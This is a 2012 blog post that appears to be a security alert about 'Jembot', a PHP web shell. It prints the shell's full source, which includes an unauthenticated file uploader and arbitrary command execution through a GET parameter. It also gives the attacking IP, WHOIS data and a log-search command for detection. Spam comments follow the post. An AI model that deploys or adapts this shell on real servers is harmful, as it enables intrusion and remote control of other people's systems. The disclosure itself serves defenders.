вторник, 17 апреля 2012 г.

Find new web bot [Jembot]

We have discovered a new kind of bot that spreads in the form of web shells, called Jembot.
Source code:

<?php
if(isset($_GET['jembot']))
{
echo "<body bgcolor=black>
<font color=cyan size=3>";
echo "<h2>empixcrew technology</h2><hr>";
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
<label for=\"file\">empix:</label>
<input type=\"file\" name=\"file\" id=\"file\" />
<br />
<input type=\"submit\" name=\"submit\" value=\"uplod\">
</form>";
if ($_FILES["file"]["error"] > 0)
  {
  echo "gagal: " . $_FILES["file"]["error"] . "<br />";
  }
else
  {
  echo "sukses: " . $_FILES["file"]["name"] . "<br />";
  echo "ukuran: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  echo "mentah: " . $_FILES["file"]["tmp_name"];
  }
if (file_exists("" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " wes enek cok. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "" . $_FILES["file"]["name"]);
      echo " mateng: " . "" . $_FILES["file"]["name"];
echo"<hr>";
      }
  }
elseif ($_GET["empix"]){
system($_GET["empix"]);
}
else {
$un = php_uname();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
echo "empixcrew: $un $php1 :empixcrew";
}
?>
</style><embed src="http://empixcrew.net/gaza.swf" autostart="true" hidden="true"><SCRIPT> 
Location of bot source: http://picasa.com.ipsupply.com.au/wp-content/uploads/2011/12/chase/hell
.php

Attacks coming from IP 187.17.65.242 Brasil

WHOIS:
inetnum: 187.17.64/18 aut-num: AS15201 abuse-c: SEO50 owner: Universo Online S.A. ownerid: 001.109.184/0001-95 responsible: Contato da Entidade UOL country: BR owner-c: CAU12 tech-c: CAU12 inetrev: 187.17.64/20 nserver: ns1.host.uol.com.br nsstat: 20120412 AA nslastaa: 20120412 nserver: ns2.host.uol.com.br nsstat: 20120412 AA nslastaa: 20120412 created: 20081022 changed: 20081022 
nic-hdl-br: CAU12 person: Contato Administrativo - UOL e-mail: l-registrobr-uol@corp.uol.com.br created: 20031202 changed: 20100106 
nic-hdl-br: SEO50 person: Security Office e-mail: security@uol.com.br created: 20021114 changed: 20110830 
We strongly recommend to block this ip address and run the following command to detect attacks:
#egrep -n --color "hell.php" *.log
Автор: на

11 комментариев:

  1. amc stars12 января 2020 г., 23:20

    Thanks  It was useful and practical
    دانلود فیلم زیر نظر دانلود فیلم زیر نظر دانلود فیلم زیر نظر دانلود فیلم زیر نظر دانلود فیلم زیر نظر

    ОтветитьУдалить
  2. john10 марта 2020 г., 03:46

    مهدی احمدوند
    راغب
    مهدی جهانی
    ایوان بند

    ОтветитьУдалить
  3. salma22 марта 2020 г., 13:32


    Thanks for your post!


    شركة شحن عفش من جدة الى الامارات شركة شحن عفش من جدة الى الامارات
    شركة شحن عفش من جدة الى الاردن شركة شحن عفش من جدة الى الاردن

    ОтветитьУдалить
  4. dorcassmith21 сентября 2020 г., 01:02

    Among other courses, business research writing services has become popular since students seek Business Coursework Writing Services and business essay writing services.

    ОтветитьУдалить
  5. unknown19 апреля 2021 г., 06:05

    Thank you for the share!

    SEO Work Online And Mange Site [Updated 2021]

    HOW TO SOLVE AVAST ANTIVIRUS RUNTIME ERROR 42052

    Malwarebytes Unable To Start The Service (Updated 2021)

    Mcafee.com/activate – Download and Activate McAfee Online

    ОтветитьУдалить
  6. teju25 мая 2021 г., 11:52

    Thanks for the best share,
    cinema hd v2

    ОтветитьУдалить
  7. peter1112 июля 2021 г., 23:34

    Worked pretty smoothly.
    Cyberflix tv download

    ОтветитьУдалить
  8. Lillian Cruz19 ноября 2021 г., 17:26

    Oh my goodness! an amazing article dude. Thank you However I am experiencing issue with ur rss. Don’t know why Unable to subscribe to it. Is there anyone getting identical rss problem? Anyone who knows kindly respond. Thnkx

    En.gravatar.com
    Information
    Click Here
    Visit Web

    ОтветитьУдалить
  9. Naomi Kim1 декабря 2021 г., 18:31

    There are certainly a lot of details like that to take into consideration. That is a great point to bring up. I offer the thoughts above as general inspiration but clearly there are questions like the one you bring up where the most important thing will be working in honest good faith. I don?t know if best practices have emerged around things like that, but I am sure that your job is clearly identified as a fair game. Both boys and girls feel the impact of just a moment’s pleasure, for the rest of their lives.

    Tinychat.com
    Information
    Click Here
    Visit Web

    ОтветитьУдалить
  10. شركة الابداع20 декабря 2021 г., 00:46

    شركة تنظيف ستائر بالرياض
    شركة مكافحة الحمام بالرياض
    شركة تنظيف مكيفات بالرياض

    ОтветитьУдалить
  11. Anveshj22 января 2022 г., 05:27

    Thanks for the best share and i loved it,
    192.168.0.1

    ОтветитьУдалить

Подписаться на: Комментарии к сообщению (Atom)